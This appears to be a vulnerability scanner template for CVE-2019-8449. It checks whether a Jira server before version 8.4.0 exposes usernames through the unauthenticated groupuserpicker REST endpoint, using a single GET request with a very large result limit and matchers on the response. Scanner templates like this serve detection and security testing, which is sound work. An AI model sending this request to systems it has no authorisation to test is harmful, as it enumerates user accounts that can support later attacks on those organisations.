id: CVE-2019-8449 info: name: JIRA Unauthenticated Sensitive Information Disclosure author: harshbothra_ severity: medium description: The /rest/api/latest/groupuserpicker resource in Jira before version 8.4.0 allows remote attackers to enumerate usernames via an information disclosure vulnerability. reference: | - https://www.doyler.net/security-not-included/more-jira-enumeration - https://jira.atlassian.com/browse/JRASERVER-69796 tags: cve,cve2019,atlassian,jira requests: - method: GET path: - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true' matchers-condition: and matchers: - type: status status: - 200 - type: word words: - '{"users":{"users":' part: body